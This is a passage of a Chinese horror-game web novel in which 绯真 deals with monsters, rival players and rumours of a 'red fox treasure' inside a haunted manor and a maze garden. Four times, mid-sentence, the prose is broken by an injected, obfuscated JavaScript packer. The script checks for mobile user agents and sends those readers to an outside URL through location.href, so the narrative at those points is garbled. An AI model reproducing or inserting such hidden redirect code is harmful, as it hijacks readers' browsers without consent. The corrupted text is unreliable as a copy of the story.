“这乌鸦居然不是真的乌鸦吗?”绯真手里抓着爱哭男的那只乌鸦,她能感受到乌鸦羽毛传来的柔软触感,也能感受到乌鸦身上散发出的温度。 只是从乌鸦身上拔一根羽毛就能打破这份虚假吗? 绯真伸手拔了一下,她手里这只乌鸦同样化为一团粉末掉了下去。 “要不要给我们的乌鸦也拔毛?”琥玠盯上了跟着他们的两只乌鸦。 乌鸦们大概察觉到了,飞得更高了些。 绯真扫了一眼天空中盘旋的乌鸦们,她又看向火势减弱的火海,再等等似乎就要烧完了。 “你觉得戴面具那家伙为什么提溯舟?”当时的情况,面具人提起溯舟这个名字很像是在指指使面具人的人,但是绯真觉得不是,面具人说出那个名字太轻易了,像是故意将他们的注意力引去那个名字的主人那。 “挑拨离间。” “我们想的一样。”绯真笑道,“可是为什么要挑拨我们和溯舟呢,我们都不认识他?” “啊。”琥玠恍然,“他认识我们!” “如果是这样,那我们要去见见溯舟。”绯真猜测道,“或许我想不起来的记忆中会有和溯舟有关的部分。” “不可能啊。”琥玠的语气不太确定。 绯真听出来了,就算是琥玠也不可能知道她从小到大每一件事啊。 火焰渐渐熄灭,这片杂草遍地的土地成了一片焦土。 没有了明亮的火光,乌鸦声开始此起彼伏地叫唤,声音有远有近。 詹敏就在这时跑到了绯真面前。 看见绯真和琥玠有两个人,詹敏有点意外地扫了一眼两人,“你们两个居然也没事?” “上次在商场,你为什么喊费晴虹大姐?” 在商场最后听见的那些对话让绯真感到不解,遇见武发时,武发直接跑过去了,绯真没来得及问,没想到现在又碰见了詹敏,正好问问。 詹敏的脸色瞬间变了,变得有点难看,不过她没有翻脸。 “那些话是受到了其他记忆的影响,我和费晴虹并不认识。” “其他记忆?”绯真听到了特别的信息。 “知道记忆气泡吗?据说记忆气泡里的记忆可以植入其他人的脑子里,如果不能分辨出这份外来的记忆就会被当成本身的记忆。我们当时都被植入了记忆气泡中的记忆,行为上出现了混乱,但毕竟我们本身的记忆没有问题,只需要一些时间把那份外来的记忆分辨出来,渐渐就会恢复正常。”詹敏想了想,没提她用的是另一种更快速的方法摆脱了那份外来的记忆。 “你们那么多人怎么会都中招了?” 那会可是有六个人行为不对劲啊。 不算死去的两名玩家,就只有她和琥玠没受到记忆气泡的袭击。 差一点就全军覆没啊。 “我是听见有人吹口香糖破掉的声音,然后脑子里就多了一份记忆,我弟弟詹奇也一样。” 詹敏说的声音,绯真也听见了啊。 琥玠当时就在旁边肯定也听见了。 他们两人却没有遇到任何事情,是詹敏忽略掉了什么细节吗? “你弟弟詹奇也来了?你们怎么没一起行动?”这鬼地方分开行动没关系吗? 商场那次,这姐弟俩不是一起行动吗? “火烧起来就跑散了。”詹敏很无奈,她也不想和弟弟分开,这地方那么危险,两个人自然比一个人行动更安全些。 “你们还有什么要问的吗?如果没有,我要去找我弟弟了。” 绯真想了想,想到了,“你知道尖塔吗?” 詹敏想了会,摇头,“其实我们来这里也没多久,我没在这里遇见过尖塔。” 绯真:“那溯舟呢?这个人认识吗?” “溯舟?你确定你问的是溯舟吗?”詹敏再次重复了一遍。 绯真:“看来你知道他。” 如果詹敏不知道,她就不该是现在这个表情。 詹敏此刻的表情有些古怪,像是忌惮,又像是怀疑。 “虽然我来这里没多久,但我来之前玩过一段时间电脑版的《血色恐怖》,溯舟当时就很有名了,他是《血色恐怖》很有名的玩家之一。” “我玩游戏时都没关注其他事情,他那么有名是因为什么啊?”绯真的视线扫过琥玠,那么有名的玩家,琥玠居然没注意到吗? 然后绯真就发现琥玠的目光原来一直牢牢地粘在她的身上,视线有点黏糊糊,她这会都不确定琥玠有没有在听詹敏说话。 “当然是景点通关率啊。”詹敏忽然压低了声音,“听说溯舟现在在咬牙切齿地找一个人,大家猜测是在找一个仇家,说不定就是那个人害溯舟进入了《血色恐怖》。” “你说有人害溯舟进入了《血色恐怖》?你怎么知道?”绯真好奇。 她走过去,詹敏也靠近过来,两人聊起了悄悄话。 “?”琥玠站在原地没动,耳朵却是悄悄竖了起来,他也很好奇。 “电脑版《血色恐怖》溯舟都快通关了,他没必要放弃通关大奖来玩这个真人版《血色恐怖》啊。” 电脑版《血色恐怖》有通关大奖?她这是错过了? “通关大奖是什么?” “我不知道。”詹敏都没通关怎么会知道,“反正我来这里之前,还没听说有谁通关了。” “那你们是怎么来这里的?”总不能姐弟两个一起被人害了?那也太惨了点。 詹敏皱眉,提到这事她就忍不住抱怨:“还不是我那笨蛋弟弟,说要体验一下真人版《血色恐怖》,就跑去买了两张《血色恐怖》邀请卡,然后我们就进来了。” “现在现实中能买到《血色恐怖》邀请卡这么玄乎的东西?”现实世界是被什么诡异力量入侵了吗? “我们也没想到居然是真的,还以为对方是开玩笑。”詹敏想到在闹市区中心遇到的那个背包青年,对方自称出售各种《血色恐怖》相关的神奇物品,谁想到居然全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482763|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真话。 “你不知道,那你们是怎么进来的?”詹敏话题一转,好奇地看向绯真。 绯真的视线瞥向琥玠,“我之前还云里雾里,现在知道了,是他买了邀请卡,我们才会进来这里。” “不靠谱。”詹敏这话不知道是在说琥玠还是她那个不靠谱的弟弟詹奇。 “我要去找詹奇了,你也当心些,我感觉这里的景点和电脑版景点的游戏规则有点不太一样。” 詹敏说完就急匆匆离开去找詹奇。 绯真猜詹敏可能在电脑版玩过废弃庄园这个景点,她发现了不一样的地方,才会这么提醒。 “你们在聊什么?”看见詹敏离开,琥玠立马凑到了绯真身边。 “聊了聊玩家是怎么进入这个游戏。”绯真双手背在身后十指交扣,掌心向外,看着琥玠笑着歪头往旁边走了一步,脚踩到了新长出来的杂草,发出轻微的声响。 被大火烧过的土地在快速恢复,杂草正在努力长到原本的高度。 绯真语气调皮地问道,“你不是都听见了吗?我看见你一直在看着这边,别说你一点都没听见啊。” “我只是太想知道你在说什么。”琥玠爽快承认了,“你要是不高兴了,下次我就不听。” “我不高兴了。”绯真下巴一抬,嘴角轻轻往下一撇。 琥玠头大。 “绯真,你说我要怎么做才会让你高兴?” 绯真的目光转了一圈,落在了琥玠的腰上。 琥玠低头,看见了腰间的匕首,目光闪了下。 他伸手握住绯真的手搭按在了他的胸口。 绯真:“!” “我是真心的,你听!” 绯真睁大了眼睛,琥玠的目光很真诚,语气很认真,但是她怀疑琥玠在诱惑她,她有证据。 她嘴角微翘,眼里透着几分狡黠,右掌心传来有力的心跳声,她微微张开了唇。 琥玠期待着等待着,他听见绯真说:“把你的匕首给我玩玩啊。” “......好。”这和琥玠期待中的结果不一样,他从腰间取下匕首放到了绯真的右手上,目光中透着不舍,舍不得放开匕首也舍不得放开绯真,“这是你送我的匕首。” 琥玠像个失去心爱玩具的大猫,看着让人心疼。 让人舍不得拿走匕首。 “难过什么啊,又不是不还给你了。”绯真用左手拍拍琥玠的肩膀,右手握着匕首拿到眼前仔细看了几眼。 匕首上雕刻的虎纹很好看,辟邪驱魔的气息没有感觉出来。 收到绯真的安慰,琥玠的心情似乎好了点。 绯真举起匕首,对着夜色欣赏匕首的模样。 “噼里啪啦!” 天空中有电光一闪而过,像是雷电预兆。 “要打雷了?” 绯真将匕首又举高了些,这匕首又不是避雷针,难道还会引来雷电不成? 一道电光突然划破夜空从天空中瞬间劈下,带起一道金色的闪电。 废弃庄园里所有玩家的注意力瞬间被这道闪电吸引走了。 13. 宝藏传说 “怎么回事,那边又打起来了吗?”绯真看向闪电掉落的方向,那边并没有再出现其他异样。 不过闪电带来的光照亮了西北方的一棵大树。 之前的大火没有完全烧掉那棵大树。 夜色中,树上似乎有什么在闪烁。 绯真决定去那棵树的地方看看。 离那棵树越近,周围的杂草就长得越高,走到那棵树面前时,杂草却突然矮了近乎一半高度,只到成人的腰间了。 树干上有火烧过的痕迹,看起来很脆弱,这会还有残留的热气散发出来。 “这里已经没有东西了。”烧焦的大树上方跳下来一个人影,半空中踢了一脚烧焦的树干,顺利落地。 树干却是被这一脚踢断了最后那点支撑,大树轰然倒塌。 绯真:“你在树上找什么?” 这棵树被火烧过后还未完全冷却,城晶燕就在这棵树上寻找东西,看来她很着急啊。 “道具,没找到。”城晶燕摊手示意双手空空如也,“估计已经被其他人拿走了。” “你遇到其他玩家了吗?”城晶燕说完又要离开,忽然想起什么停下脚步转头问绯真。 “遇到了啊,你是想问有没有遇到你的队友吗?” “不是。”城晶燕摇头,“有人在打听你的下落,你知道吗?” “谁啊?”绯真惊讶,是谁在找她啊? “不认识,是一个男玩家。”城晶燕凭借她的直觉给出了提醒,“我感觉对方来者不善,你最好当心些。” 来者不善吗? 稀奇。 “嗯,你的领子上沾了火星。” 估计是刚才城晶燕跳下来踢了树干一脚,树干上有未烧完的火星溅到了城晶燕的衣领上。 城晶燕下意识后退了一步,伸手摸了一下衣领,“没烧起来,没事。” “可是你的衣领好像烧坏了一部分,你不剪掉吗?”绯真走过去,她觉得城晶燕某些行为有些说不出的别扭。 “不用。”城晶燕伸手抓紧了衣领,她的语气带了几分紧张。 城晶燕好像很不愿意被人看见她的脖子。 城晶燕的脖子有什么问题吗? “你脖子受伤了吗?” 绯真又往前走了一步,城晶燕快速后退,“一点小伤,我要去找何束了!” 城晶燕急匆匆地跑了。 这次城晶燕没能跑掉。 绯真一直注意着,看见城晶燕想跑,她立即跑过去抓住了城晶燕。 右手抓住人,左手直接去拉城晶燕的衣领,隐藏在高领下的脖子上缠着一圈白色的纱布。 “你干什么?”城晶燕慌张抬手去推绯真。 绯真松开手避开了城晶燕的动作,右手快速伸向城晶燕脖子上的纱布,她突然想到了一件事。 “你是诡异假扮的玩家吗?”城晶燕抓住绯真的右手,目光露出了怀疑。 “那边那位玩家,这人突然攻击我,太可疑了,不是吗?” 绯真左手的指甲钩破了城晶燕脖子上的纱布,掉落的纱布上没有沾一滴血。 夜色太暗,看不清城晶燕脖子上的伤口在哪。 “蛛蛛。”绯真的右手轻易挣脱了城晶燕的手,摸上了城晶燕的后脑勺。 “你怎么知道是我?”城晶燕的脑袋转动,脖子上发出轻微的声响,那是缝线扯断的声音。 “不告诉你。”绯真笑道,“上次你说有猎人要抓我,那人是不是也在这个景点?” 绯真怀疑之前的爱哭男和面具人都和那个猎人有关。 “没错。”蛛蛛放弃了城晶燕的脑袋,往后倒去,背后长出了两双新的手臂,三双手臂在地上滑动,一下子蹿出去一大段路。 “绯真,我这次的新发型好看吗?我又看中了一款新发型,正好去换上。” “你的新发型就是直接换头吗?”绯真意识到马上会有一个玩家失去脑袋,她追了上去。 “你是绯真?”左边眼角有道长长刀疤的男人突然从杂草丛中出现,拦住了绯真。 “让开!不能让那个诡异跑掉!”绯真伸手去推对方。 看见绯真手里的人头,刀疤露出了然的神色,毫不犹豫地将手里的狼牙棒挥向了绯真。 绯真闪身避开,一脚踢在刀疤拿狼牙棒的那只手的手腕上。 刀疤的手一阵发麻,狼牙棒脱手掉在了地上。 “你攻击我做什么?”绯真感到无语,略有些生气,被这人拦了一下,周围的动静消失了,不知道蛛蛛躲到了哪里。 “你杀了她。”刀疤换了左手捡起狼牙棒,盯着绯真的目光充满了敌意。 “城晶燕?”绯真看向手里城晶燕的脑袋,她没有放下是想给城晶燕的脑袋找个地方埋下,随意丢弃对城晶燕而言就更加悲惨了。 “这是我从刚才那个诡异那拿回来的,我希望她能安息不再受到其他诡异的打扰。”绯真蹲下就在原地用手挖了一个足够埋下脑袋的坑,把城晶燕的脑袋埋了进去。 做完这一切,绯真发现刀疤对她的敌意并没有减少,但至少对方没有在刚才打扰她。 “你就是绯真?”刀疤又问了一遍。 “对,你找我?”绯真拍了拍手上的泥土,又拍打掉乌鸦羽毛上沾上的一些泥土。 这人靠近时,没有乌鸦的叫声。 这不太对啊。 每次有玩家靠近,跟着她的乌鸦都会叫啊。 乌鸦是从什么时候没有发出叫声了? 想起来了,是蛛蛛出现的时候。 那时候乌鸦就没有叫,蛛蛛是从树上跳下来,难道...... 绯真转头看了一圈,天空中没有看见活物移动的身影,不止是她这边,刀疤附近也没有。 乌鸦们都消失了吗? 绯真回头看了一眼来路,琥玠去哪了? “你在找什么?”刀疤悄悄活动了一下麻掉的右手腕,还需要一点时间才会完全恢复正常。 “不是你找我吗?没话说我就走了。” “红狐狸发饰。”刀疤开口道,“把你头发上的红狐狸发饰给我。” “为什么?”绯真觉得莫名其妙,“我为什么要给你?” “你拿着也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482764|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只会给你带去危险,既然你不愿意,那就别怪我。”刀疤的右手恢复得差不多,他这次双手握着狼牙棒挥向了绯真。 狼牙棒是朝着绯真娇嫩的脖子而去,绯真感受到了来自对方的杀意,她皱了皱眉。 刀疤势在必得的一击却落了空,就在他的眼前,绯真的身影突然消失了。 刀疤听见绯真的声音从他背后响起,同时背上传来剧痛。 “你攻击我就别怪我反击。”绯真一脚踹倒了刀疤,脚上用了几分力,刀疤根本承受不住,背部的骨头瞬息间断了好几根。 刀疤趴在地上,一动就是钻心的疼痛,别说继续攻击绯真,就连站起来都十分困难。 “你......你的力气怎么会这么大?”刀疤感觉他的背部被踢断了。 “不行吗?”绯真笑着用两根手指轻松捏断了狼牙棒,她笑嘻嘻问道,“你要红狐狸发饰做什么?” “你不知道吗?”刀疤痛得喘了一会气,继续说道,“传说找到‘红狐的宝藏’就能拥有如诡神般强大的神秘力量。” “这和我的发饰有什么关系?总不能是因为我的发饰正好是红狐狸模样吧?”这也太可笑了啊。 “关于宝藏没有任何线索,自然只能从宝藏的名字上去寻找线索。”刀疤眼睛努力上抬,想看清绯真头发上的宝石发饰,“所有和红狐有关的物品现在都很抢手。” 刀疤身下的泥土突然变成了流沙地,一眨眼就陷入其中被吞没了。 这突如其来的危险,感觉更像是某个诡异张开嘴巴吃掉了刀疤。 这个时机,有没有可能是阻止刀疤说出某些信息? 流沙地在刀疤沉入其中后就恢复了原样。 新的杂草在重新从泥土里长出来。 “只要找到‘红狐的宝藏’就能拥有如诡神般强大的神秘力量,诡神是指这里的神明吗?”绯真自言自语,环视四周没发现任何异样。 她又大声嘀嘀咕咕,“琥玠这个笨蛋还说要保护我,人都不知道跑哪去了!” “绯真!” “哎,我在这里!”绯真转身朝声音的方向跑去。 声音听着耳熟,但绝对不可能是琥玠的声音,那是女生的声音。 “绯真,我听见你的声音就赶紧过来找你。”詹敏跑得很急,她用力喘了几口气,快速说道,“有人拿到了一把乌鸦羽毛打开了铁门,但是门外不是灰雾区!” “那是什么?”不是说拿到最多乌鸦羽毛的玩家就可以打开铁门离开吗? “是一个迷宫花园,进去的玩家全都遇害了。”詹敏的脸色很白,想起来当时的情况,她的脸色就不太好。 “你怎么知道进去的玩家都遇害了?” “惨叫声,惨叫声数量和进去的玩家人数一样。”詹敏知道只是这件事并不能说明什么,她又说了一件事,“那个打开铁门的玩家有一件道具,可以让迷宫外的人和迷宫里的人随时对话交流,惨叫声响起后,迷宫里对应的那个玩家就不再说话了。” “绯真,这个游戏和我们玩过的电脑版不一样了。”詹敏抓着绯真的手臂,非常用力。 14. 迷宫花园 詹敏太用力了,如果不是詹敏的脖子上什么也没有,都要怀疑眼前的詹敏是不是换了新脑袋的蛛蛛。 绯真掰开詹敏的手指,“不一样就不一样啦,你来找我就是为了说这些吗?” “其实进入迷宫花园的一个玩家留下了一条重要的信息,他说迷宫花园的墙上有一扇小门可以离开废弃庄园。”詹敏再次抓住绯真的手,急切地问道,“我都快找遍了,詹奇好像没进入这个景点,你可以和我一起去找那扇小门吗?” “现在恐怕不行,我要先去找我的同伴。”琥玠不知道跑到哪里去了,还以为大声说话能让他听见,没想到詹敏先找过来了。 “你的同伴?”詹敏想了一下,“我过来的时候好像看见他了,他和另一个玩家往那边去了。” 詹敏指了一下方向,“那边就是迷宫花园所在的方向,你的同伴很有可能是去那里了。” 琥玠已经去迷宫花园了? 他旁边还有另外一个玩家,是那个玩家说了什么吗? 有詹敏带路,绯真很快就看见了迷宫花园。 迷宫花园的墙壁全是树篱,不久前那场大火是没有对这些树篱造成伤害还是在火熄灭之后,树篱重新长了出来? 眼前的树篱上看不见一点烧过的痕迹,迷宫走廊里漫天飞舞的萤火虫带来了特别的光。 “你们也要进去吗?”沙哑的声音从迷宫花园边上黑暗处传来。 是一个穿着长袍,裸露在空气中的皮肤全用纱布包裹起来,坐在轮椅上的奇怪的人。 “其他玩家都已经进去了吗?”詹敏看见这人并没感到惊讶,她反而问对方关于其他人的情况。 那人点点头。 “你有看见一个穿黑色皮衣的男玩家进去吗?”绯真问道。 那人睁大眼睛仔细看了看绯真,“你是那个玩家的女友对吗?他说他女友穿红裙,他让我转告你,他先去找出口,找到出口就回来找你。” “是这样吗?”绯真有点意外琥玠居然会选择单独行动。 “你们也要进去吗?之前进去的玩家还没有人出来过。” “我不进去。”詹敏摇头,对上绯真疑惑的目光,詹敏解释道,“我打算在迷宫花园外围的树篱上找找。” “我决定进去看看。”站在迷宫花园入口处,看着那里飞舞的萤火虫们,绯真觉得迷宫花园内部一定会很有趣。 “里面很危险。”詹敏劝道。 “我的同伴在里面。”绯真往前走了一步,踏进了迷宫花园。 她的脚步没有停下,往前走了几步顺着迷宫走廊往右侧转弯。 很快绯真从詹敏的视线中消失了。 “你不进去吗?”坐在轮椅上的那个男人询问道。 詹敏站在入口处十分犹豫。 迷宫花园的走廊里到处都是萤火虫,这里的光线比外面亮多了。 绯真沿着迷宫走廊往里转了几个弯才第一次遇见岔路口,左右两条路看起来没有任何区别。 绯真随意选了一条路走,这次没走多远就遇见了诡异。 一只身形像人类,全身长满绿苔的诡异。 绿苔诡异从绯真即将经过的左侧树篱上跳了下来,站在这条迷宫走廊中央,正好拦住了绯真的路。 绯真停下了脚步。 绿苔诡异的脸转向了绯真,眼睛部位只有两个黑乎乎的洞,脑袋上像有虫子在涌动,形状不停发生变化。 像极了一滩随意揉捏的绿色橡皮泥,但比绿色橡皮泥恶心多了。 绯真站在原地没动,绿苔诡异往绯真的方向转了下头,忽然又转回去了。 接着绿苔诡异慢悠悠地往另一边走去。 绯真感到疑惑,绿苔诡异的行为就好像它没看见自己一样。 难道绿苔诡异看不见? 绯真跺了一下脚。 绿苔诡异刷的一下转头看了过来。 绯真盯着不远处的绿苔诡异,绿苔诡异转头之后却一直没有下一步的动作,等了一会,绿苔诡异又转了回去。 绯真确定了,这只绿苔诡异看不见,它是根据声音来确定玩家的位置。 声音消失了,绿苔诡异就不知道玩家所在的位置了。 那么詹敏以为在迷宫花园里遇害的玩家们,很有可能都还活着,只是因为绿苔诡异的存在无法发出声音,才会被迷宫花园外面的玩家们误会。 在这里不能发出声音,这就不太好找人啊。 绯真再次行走时,放轻了脚步,没有发出一点脚步声。 然而没过多久,绯真就意识到只是走路不发出声音并不能在迷宫花园里畅通无阻地往前走。 因为绿苔诡异不止一只,这些绿苔诡异不会一直走动,走着走着就会站在原地不动了。 路自然就被堵住了。 绿苔诡异和旁边的树篱之间还有空隙,但这点空隙并不够让一个成年人自然地走过去。 从旁边走过去时,一定会碰到绿苔诡异。 这时候也不能犹豫太久,会有另一只绿苔诡异走过来,运气好点只是堵住了后面的路,运气差点就直接往玩家身上撞上去了。 绯真恰好就被两只绿苔诡异堵在了迷宫花园的某段走廊上。 她转头看向两侧的树篱,如果她没有记错路,右侧树篱后面的走廊上应该还没有绿苔诡异。 绯真举起了右拳,她想现在要砸墙过去了。 “咻——!” 尖锐的哨声响彻天空。 前后的绿苔诡异瞬间都动了,两只绿苔诡异跑了起来,跑向哨声再次响起的方向。 有人在迷宫花园里有规律地吹响哨子。 绿苔诡异们都在跑向哨声所在的位置,哨子的主人不可能到现在还不知道声音会引来什么。 哨声还在不断响起,那人是在故意将绿苔诡异们引过去吗? 绯真往另一边走的脚步迟疑了一瞬,转向了哨声的方向,她有点好奇是谁胆子那么大在吹哨子。 绯真转身跑了起来,哨声的位置开始移动了,显然是哨子的主人和绿苔诡异们相遇后开始行动了。 哨声尖锐又持续响起,脚步声反而变得不太显眼了。 绿苔诡异们全都追着哨声跑,忽略了脚步声,绯真没有忽略,她听见了树篱另一边其他玩家的脚步声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482765|201844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 确定那脚步声是否属于玩家很简单,只要和绿苔诡异奔跑的方向相反就肯定是玩家。 绯真伸手拍了拍树篱,产生的动静不知道是没有引起对面玩家的注意,还是对方注意到了却没有理会。 总之绯真没有得到任何回应。 这么一耽搁,之前还跑在前方的绿苔诡异跑没影了,树篱对面的人的脚步声也跑远了。 “都跑这么快啊。”绯真嘀咕了一句,看向树篱上慢慢往外凸出来的部分,那形状很像绿苔诡异。 她盯着看了一会,看见一只绿苔诡异从树篱上挣脱出来,掉落在了地上。 原来这些绿苔诡异都是从树篱中出来的! 绯真看向周围的树篱,现在看起来都很平整,暂时不会有下一只绿苔诡异出现,她打算等那只绿苔诡异追着哨声离开再行动。 没想到哨声突然变近了,而且越来越近,像是就在右侧。 右侧只有树篱啊。 是在对面吗? 不对! 绯真快速后退,一道人影从绯真之前所站位置右侧的树篱中冲了出来。 “咻——!” 哨声就在绯真面前响起。 尖锐的声音让她的耳朵感到不舒服。 哨子的主人是一个陌生的少年,他转头先看见了绯真,嘴里咬着哨子,睁大了眼睛。 另一边绿苔诡异并没有走远,听到哨声转身跑了回来,朝少年拍了过去。 “后面有诡异!”绯真伸手抓住少年的肩膀,推向另一侧的树篱。 绿苔诡异没有拍中少年,挥空后摔倒在地上。 绯真迅速跑开,远离绿苔诡异。 这条迷宫花园的走廊上,那个少年的身影消失了。 两边的树篱都没有遭到破坏,他突然出现又突然消失了。 从少年出现时没有破坏树篱,绯真就猜到对方估计有穿墙之类的能力,果然他撞向另一侧的树篱时没有撞上去,而是穿过去了。 不停响起的哨声消失了。 少年从另一边又穿过树篱回来了。 “快跟我走,我带你去找其他人。”少年压低声音说话,一边朝绯真伸出了右手,“抓住我的手,我才能带你一起穿墙。” 少年的声音很轻,但是没有哨声干扰,这声音对于绿苔诡异而言就变得很响了。 绿苔诡异从地上站起来跑了过来。 “快点,把手给我!”少年看见了,他着急地催促道。 绯真伸出了手。 少年有些疑惑绯真为什么伸出了双手。 然后他就看见绯真伸出双手抓住了一侧树篱,她纤细的十指像钢爪轻松掐进了树篱中,接着随意地往边上一挥,坚固的树篱摧枯拉朽般扯断倒向了跑过来的绿苔诡异。 绿苔诡异瞬间被树篱压住了。 迷宫花园的树篱墙壁突兀地破了一个大口子。 少年盯着对面走廊的树篱墙壁,他想这么大的力气都可以在迷宫里走直路了! 一次呼吸的声音,损坏的树篱开始重新生长,不到一分钟就修复好了。 “其他玩家在哪?” 15. 重复的铁门 看见绿苔诡异被树篱压住后动弹不得,钦华晖愣住了。 听见绯真的问话,钦华晖回神,“大家都在迷宫花园的小门旁边,我带你过去。” 钦华晖朝绯真伸手。 “前面带路就行。”绯真没动。 钦华晖想到绯真的力气,收回了手,转身穿墙而去。 然后他回头就看见绯真扯掉了一大片树篱,跟了上来。 好有个性! “前面就到了。”钦华晖指着最后一道树篱墙穿了过去。 走直路,破坏了几次树篱墙后,绯真就到了其他玩家所在的地方。 她扫了一眼,这里有五个玩家,除了武发,其他玩家都没见过。 琥玠不在这里。 “进入迷宫花园的玩家都在这里吗?” “是的,我把大家都带到这里来了。”钦华晖利用他穿墙的能力在迷宫花园里行动自如,他确定把迷宫花园里所有的玩家都带过来了,“我发现只有小门前这片地方,那些诡异不会靠近。” “小门?在哪?”这里的树篱墙和迷宫花园其他地方的树篱墙看起来没有区别。 “这里。”钦华晖拍了拍某处树篱,“只有这块地方,我的技能失效了,无法穿过去。” 从绯真出现开始,其他玩家就一直在听她和钦华晖说话,这会有人发出了嗤笑声,似乎觉得哪里很好笑。 绯真没有转头去找那人,她直接伸手抓住了面前的树篱,像扯走一团棉花一样扯掉了面前的大片树篱。 树篱断裂的声音在那人听来像无数的嘲笑声。 那人瞬间变了脸色,收起了对绯真的嘲笑。 绯真扯掉了大片树篱,面前还有很多树篱遮挡视线,这处的树篱墙比其他地方厚实,她又扒拉几下,隐藏在树篱墙后面的景物才显露出来。 是一扇令人十分眼熟的铁门。 “这就是进来时的那扇铁门,找对了!”有玩家站在后面看见了铁门,一脸高兴。 钦华晖看着铁门感觉哪里不太对劲,但又说不上来。 “你们谁有铁门的钥匙吗?”武发提醒道。 铁门关着,正常情况下需要钥匙才能打开。 “没有钥匙也没关系啊,大家都要出去,她力气那么大随手就掰开了。” “你们确定要打开吗?”绯真侧身,扫了一眼其他人,感到无语,“你们就没发现这扇门和进来时的铁门一模一样吗?” “当然是一模一样,才更加能说明这扇门通往出口啊。”有人藏在人群后面小声嘀咕。 “这扇门打开后,是‘进去’,不是‘出去’!”绯真发现这些人还是没注意到问题所在,她又提醒了一次。 “进去?”钦华晖仔细查看铁门的模样,他们的确是站在铁门外面而不是铁门里面。 一旦打开这扇门,他们就变成了走进去,而不是走出去。 那么问题来了,再往铁门里走一次会遇到什么? 一个新的废弃庄园? 套娃吗? 绯真看大家听懂了,她转身在门锁的位置砸了一下,门锁被砸坏,铁门自然就打开了。 “你要进去吗?”钦华晖惊讶,既然都知道不是出口,也不清楚里面是什么情况,绯真还要进去吗? “不进去看看怎么知道里面是什么情况?”绯真说完走近了铁门,没走几步,脚就踩到了什么东西。 绯真低头一看,是一面倒在草地里的木牌,木牌上那四个字依旧没变。 废弃庄园里的夜色很暗,倒在地上后根本看不清木牌上的字,但这里却让人看清了。 不是迷宫花园里的萤火虫飞了过来,而是这里的天色和另一边完全不一样。 这里的时间似乎是停留在了傍晚,晚霞满天,视野比之前明亮多了。 钦华晖他们还站在铁门另一边,周围全是发光的萤火虫,他们似乎没注意到这边的光线更好。 她刚才走过来之前好像也没注意到光线的问题。 是有什么东西干扰吗? 绯真没等其他人作出决定,她看见了远处的木屋,木屋里说不定会有什么线索。 这里的杂草不像之前遇到的杂草高得离谱,最高也就到小腿而已。 绯真走了几步听见了从草丛中传来的沙沙声。 草丛里有什么东西在爬行,是蛇吗? 绯真看向声音传来的方向,沙沙声却突然快速靠近了,一眨眼,隐藏在草丛中的生物就抵达了她的脚边。 隔着皮靴,绯真的右脚感受到了活物的纠缠。 那触感和软体动物很像,八成就是蛇类。 绯真右脚用了点力气,右脚立马踩进了泥土里,自然缠着她右脚的那条蛇也一同陷进了泥土里。 只是绯真是主动踩下去,那条蛇是被带下去,一瞬间埋进泥土后就不会动了。 绯真抬起右脚,带起了那条蛇,一条婴儿手臂般粗的绿蛇,这会因为泥土间的挤压变得伤痕累累。 很快从绯真的靴子上掉落下来。 张开的蛇嘴更是被压扁了,蛇牙连绯真的皮靴都没有碰到就折断了。 “真是一条可怜的蛇,不知道你的主人为什么会放你出来。”绯真在蛇尾上看见了一条极细的细线,细线的另一端不像是断裂,那估计是在这条蛇的主人手上。 绯真说这话自然是说给这条蛇背后的主人听,“不过你的主人也很蠢,居然还给你绑了线,这下想跑也难了。” 绯真刚一说完,就用力拉了那条细线,一道黑影像风筝一样从远处的草丛中飞起来,在半空中划过一道弧线,摔落在距离绯真不远处的草丛里。 绯真走过去一看,是一只长相丑陋的诡异,身形像小野猪,头上长着两根长长的尖角,棕褐色的短尾巴上还绑着一根细线。 诡异站起来先扭头咬断了短尾巴上的细线,然后冲着绯真呲牙。 “你要是乖乖被小绿咬一口,之后就不用感到痛苦了,现在小绿没了,你就等着变成......食食食......” 地里突然长出一只泥巴做的手,掐住了这只诡异的脖子,诡异的声音变得磕磕绊绊。 最后还是没有把话说完就被那只泥巴手掐断了脖子。 断了脑袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 